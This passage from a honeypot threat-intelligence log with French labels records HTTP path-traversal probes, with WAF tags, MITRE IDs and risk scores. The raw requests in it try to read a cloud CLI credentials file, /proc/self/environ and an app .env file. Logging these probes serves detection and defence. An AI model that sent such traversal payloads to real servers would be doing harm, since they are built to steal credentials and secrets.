"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "8e487428bbb1b673c5b369742506968b",
"path_pattern_hash": "2433ffa73d4b25a5c876b2b3abce28f8"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"evidence": {
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e931700f96e78787391d775531b054b30bc70a6a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcl\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcl\u2026",
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../proc/self/environ
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../proc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/../../../../../../../proc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../proc/self/environ
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
MITRE-T1083
Http Lfi
pat-0508
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930140 proc self
CRS 930110
LFI Path traversal encoded
LFI path /proc/self/environ
Ligne de requête
GET /../../../../../../../proc/self/environ HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../proc/self/environ HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6
Requête brute (extrait)
GET /../../../../../../../proc/self/environ HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "\/proc\/self\/environ",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "f50c6682f7cfd27836d07fd49c2917e8133a4e07",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 223,
"payload_entropy": 5.1794226809299335,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "8b3273563f8e42bdbbed7d050b48e76b469b720c",
"event_fingerprint": "d51c929f5e2872e3c3503e2096a2308ff9d3281b",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 741,
"precision_signals": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0714"
],
"kb_rule_ids": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0140"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0081",
"pat-0140"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930140 proc self",
"CRS 930110",
"LFI Path traversal encoded",
"LFI path \/proc\/self\/environ"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0714",
"pat-0083",
"pat-0081",
"pat-0140"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "89010363aeb85d045a90b3cd38a1022c",
"path_pattern_hash": "7619680bc23c56b0908617cb1aceb747"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7bbdb45108715bbef350fcf0d93b9f450f473e05",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"MITRE-T1083",
"INT-http_lfi",
"pat-0508"
],
"tags_summary_labels_fr": [
"CRS-930100",
"MITRE-T1083",
"Http Lfi",
"pat-0508"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/proc\/self\/environ HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../app/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../app/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../app/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../app/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../app/.env HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /../../../../../../../app/.env HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW
Requête brute (extrait)
GET /../../../../../../../app/.env HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 9,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "67691c2186b9b53035b4e78c20ee17a480d2b28e",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 214,
"payload_entropy": 5.1735517370466395,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "c218509b91e77116eb0d12f81c6384d0d5d43c26",
"event_fingerprint": "6c67da81c943438adb179bdf5a7d8a17bf83c6fd",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "61233cfcbd71bf42e2315d383975b0fa",
"path_pattern_hash": "d6fd9771c03825d5e62a9a8ec6f992bf"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "1bfca7024fbf8e965686e63f1aec0eaf1d414b6d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1",
